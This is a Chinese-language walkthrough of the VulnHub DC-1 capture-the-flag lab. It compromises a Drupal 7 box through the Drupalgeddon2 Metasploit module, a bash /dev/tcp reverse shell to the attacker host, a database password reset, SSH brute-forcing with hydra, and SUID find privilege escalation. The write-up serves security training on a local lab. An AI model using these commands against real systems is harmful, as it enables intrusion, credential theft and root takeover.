【CyberSecurityLearning 70】DC系列之DC-1渗透测试(Drupal)
目錄
DC-1 靶機滲透測試實戰
背景資料:
知識點
一、實驗環境
二、實驗要求
三、滲透過程演示
Flag1:
Flag2:
Flag3:
Flag4:
Flag5:
DC-1 靶機滲透測試實戰
背景資料:
vulnhub 地址:
https://www.vulnhub.com/entry/dc-1-1,292/
There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.
There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.
作者說一共有五個flag,有多種方法去提權,我們最終目標是去拿到/root的flag。總的來說,難度不高,適合新人練手。
知識點
CVE-2018-7600 Drupal核心遠程代碼執行漏洞
drupal配置文件和重置管理員密碼
suid提權
一、實驗環境
實驗環境:
kali2021:192.168.3.146/24(橋接到vmnet0)
靶機環境DC-1(橋接到vmnet0,MAC地址:00:0C:29:FA:13:84)
保證kali和DC-1在同一個網段
二、實驗要求
靶機中一共有五個flag文件,我們需要找到它們,即可完成任務。
三、滲透過程演示
打開測試靶機DC-1
查看DC-1主機的網卡:NAT模式
MAC地址:00:0C:29:FA:13:84
為了操作方便,選擇用ssh遠程連接一下Kali
入侵演示:
官方沒有給用戶名和密碼,我們也無法知道該靶機IP是多少,需要自己去測試。但是咱自己的kali攻擊機是知道IP的,而且kali和靶機在同一個網段下面。
那就簡單了,直接使用nmap掃描整個C段,得到如下信息:nmap -sP 192.168.3.1/24 -oN nmap.sp(這個后綴名是什么無所謂)
MAC 對照得到其IP地址
得知DC-1靶機的IP地址為192.168.3.144
對該靶機進行詳細的掃描? nmap -A 192.168.3.144 -p 1-65535 -oN nmap.A
可以看到其22端口和 80 端口都是開放的
在80端口下,我們可以看到其網站的模板為:Drupal 7
22(ssh) ? 考慮爆破
80?? drupal??? CMS(網站內容管理系統)
Drupal是國外三大開源的PHP CMS 之一
1、drupal
2、wordpress
3、joomla
所以說找到它的一個模板,其他自己定義,直接拿來用。
由nmap掃描端口后,在瀏覽器內輸入ip后進行訪問,查看到是一個Drupal cms管理系統。
掃描網站目錄
工具1:dirb(網站目錄掃描器,效率還是很高的,,掃描網站的目錄以及文件,kali自帶,有默認字典)
命令:dirb http://192.168.3.144/
訪問robots.txt
工具2、dirbuster(kali2021自帶,kali2019好像要自己裝,要提供字典)
沒安裝的話,安裝以下命令安裝:
apt-get update
apt-get install dirbuster
robots.txt介紹:
robots協議(也稱為爬蟲協議、爬蟲規則、機器人協議 等)也就是robots.txt,網站通過robots協議告訴搜索 引擎哪些頁面可以抓取,哪些頁面不希望被抓取。
有什么作用
Robots協議是網站國際互聯網界通行的道德規范,其 目的是保護網站數據和敏感信息、確保用戶個人信息和 隱私不被侵犯。
因其不是命令,故需要搜索引擎自覺遵守。
一個網站為什么要寫robots.txt
1、保護網站安全
2、節省流量
3、禁止搜索引擎收錄部分頁面
4、引導蜘蛛爬網站地圖
Robots.txt放置位置
Robots.txt文件應該放置在網站根目錄下
例如:當spider訪問一個網站(http://www.xxx.com)時,首先會檢查該網站中是否存在http://www.xxx.com/robots.txt這個文件,如果 Spider找到這個文件,它就會根據這個文件的內容,來確定它訪問權限的范圍。
Robots.txt文件的寫法
User-agent: * 這里的*代表的所有的搜索引擎種類,*是一個通配符
Disallow: /admin/ 這里定義是禁止爬尋admin目錄下面的目錄
Disallow: /*?* 禁止訪問網站中所有包含問號 (?) 的網址
Disallow: /.jpg$ 禁止抓取網頁所有的.jpg格式的圖片
Disallow:/ab/adc.html 禁止爬取ab文件夾下面的adc.html文件。
Allow: /cgi-bin/ 這里定義是允許爬尋cgi-bin目錄下面的目錄
Allow: .htm$ 僅允許訪問以".htm"為后綴的URL。
Allow: .gif$ 允許抓取網頁和gif格式圖片
Sitemap: 網站地圖 告訴爬蟲這個頁面是網站地圖
百度站長平臺創建robots
訪問http://192.168.3.144/UPGRADE.txt
發現當前版本是7.x
現在確定了組件的名字和版本,現在就可以搜索一下Drupal 7.x有什么漏洞
1、百度:drupal 7.x漏洞
2、去MSF里面搜索有沒有Drupal 7.x漏洞攻擊模塊
MSF:
通過使用MSF 直接搜索該網站模板存在的漏洞
啟動
msfconsole
search drupal
使用該攻擊模塊
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
References:
? https://nvd.nist.gov/vuln/detail/CVE-2018-7600
? https://www.drupal.org/sa-core-2018-002
? https://greysec.net/showthread.php?tid=2912
? https://research.checkpoint.com/uncovering-drupalgeddon-2/
? https://github.com/a2u/CVE-2018-7600
? https://github.com/nixawk/labs/issues/19
? https://github.com/FireFart/CVE-2018-7600
Also known as:
? SA-CORE-2018-002
? Drupalgeddon 2
選擇攻擊載荷
set payload php/meterpreter/reverse_tcp?
缺少目標地址,設置目標地址后,開始攻擊
這就相當于我們成功入侵系統了!拿到shell,但是這個系統中有5個flag,要把這五個flag都找到
發現有一個flag1.php
?
Flag1:
cat flag1:
Every good CMS needs a config file - and so do you.
這句話指引我們,應該去找的該網站的配置文件
這里已經成功獲取了flag1,但是flag1把線索引向了配置文件,這個配置文件肯定是網站的配置文件
接下來查找一下網站的配置文件
在哪呢?我們發現web.config比較可以,我們查看一下發現是XML文件,查看后沒有什么線索。
思考:既然它是一個web應用,web應用一般都有數據庫,那web應用的數據庫密碼是以明文的方式寫在我們的腳本里面,那我們是不是可以去找一下數據庫的密碼是什么
數據庫的配置文件一般寫在哪個目錄里面呢?自己一個一個去嘗試
因為不知道durpal配置文件的路徑,所以只能嘗試一個一個路徑去找,看能不能發現其他信息,發現一部分文件不能訪問,重點關注includes,sites,web,config等文件,最后在sites/default/settings.php中發現了flag2。
最后發現在sites目錄里面的default
?
Flag2:
cat sites/default/settings.php
/**
?*
?* flag2
?* Brute force and dictionary attacks aren't the
?* only ways to gain access (and you WILL need access).
?* What can you do with these credentials?
?*
?*/
Flag2提示:暴力和字典攻擊不是獲取訪問權限的唯一方式,并且將需要訪問權限。同時文件中,也給出了mysql數據庫的賬戶名和密碼,嘗試使用給出的密碼和用戶名進行登錄發現無法登錄成功。
????? 'database' => 'drupaldb',
????? 'username' => 'dbuser',
????? 'password' => 'R0ck3t',
????? 'host' => 'localhost',
????? 'port' => '',
????? 'driver' => 'mysql',
????? 'prefix' => '',
在meterpreter狀態下輸入命令shell,可以獲取系統控制臺的shell
接下來構造一個命令去登錄它的MySQL數據庫
我們查看一下3306端口有沒有開放:netstat -anptl
嘗試連接:mysql -udbuser -pR0ck3t
建立持久性連接:做一個shell反彈
本地監聽一下:nc -lvvp 2333(監聽一下2333端口)
bash -i >& /dev/tcp/192.168.3.146/2333 0>&1?? (反彈到kali,kali地址是190.168.3.146),感覺會錯誤bin下的bash不允許你調用
改成:/bin/sh -i >& /dev/tcp/192.168.3.146/2333 0>&1 (發現還是不行)
我們進入交互式shell
[python -c 'import pty;pty.spawn("/bin/bash")']
我們看看在這種情況下能不能做shell反彈:bash -i >& /dev/tcp/192.168.3.146/2333 0>&1?
這種情況就能彈成功,為什么呢? 因為這個是通過python調的bash
嘗試連接:mysql -udbuser -pR0ck3t
成功登陸!
現在已經登錄MySQL數據庫了
mysql> select * from users\G
密碼的密文我們需要手動去生成一下,生成密碼的密文在哪個路徑下?
在/var/www目錄下執行php scripts/password-hash.sh admin(命令含義是使用PHP去調用script下的password-hash.sh腳本生成密碼為admin的密文)
password: admin???????????????? hash: $S$DI2XausdwhPk7pyaZIpVBdo.iwsG15GLI3H8CgatQez0itWkKz.M
接下來我們用這段hash值把原來admin用戶的hash值覆蓋掉
update users set pass="$S$DI2XausdwhPk7pyaZIpVBdo.iwsG15GLI3H8CgatQez0itWkKz.M" where uid=1;(修改表)
Flag3:
接下來我們找到網站直接登錄,登錄成功!
Flag3
Special PERMS will help FIND the passwd - but you'll need to -exec >that command to work out how to get what's in the shadow.
直接把線索指向passwd
Flag4:
cat /etc/passwd? 發現flag4
發現有/bin/bash說明flag4允許登錄!
我們已知它開放了22端口,我們可以嘗試爆破:
接下來我們使用hydra 爆破,該用戶密碼
hydra -l flag4 -P /usr/share/john/password.lst 192.168.3.144 ssh -vV -f -o hydra.ssh
-vV是顯示詳細的爆破詳細
-f是如果遇到正確密碼就停止爆破
-o是把爆破結果輸出到一個文件中去
得到flag4的密碼是orange
通過ssh登錄一下:
ssh flag4@192.168.3.144
根據提示:另外一個flag在root的家目錄下,但是這個過程不是特別簡單
接下來考慮提權:
利用操作系統內核提權(是絕招,最后一招,到絕境中使用)
但是系統內核提權之前,我們需要做一項檢查,檢查系統之中是否有一些命令具有suid標識
如果有一些命令具有suid標志,說明這個命令在執行的過程中,會短暫的獲得(其實不短暫)root權限,如果我們通過這些擁有suid標志的命令去調用bash的話,這個bash也會繼承suid權限,也就會繼承root權限。
那我們怎么去尋找有suid標識的命令呢?使用find / -perm -4000 2>/dev/null
Flag5:
這里面有哪些命令能調用bash呢?
find命令有個漏洞,就是它可以調用外部命令
find? ajest -exec "whoami" \;(這里面字符一個都不能省略)
find? ajest -exec "/bin/sh" \;
這樣我們就成功拿到了最后一個flag,我們也成功獲得我們主機的root權限!
總結
以上是生活随笔為你收集整理的【CyberSecurityLearning 70】DC系列之DC-1渗透测试(Drupal)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 作者:郝丽丽(1983-),女,博士,中
- 下一篇: 【2016年第5期】卫星影像大数据情报分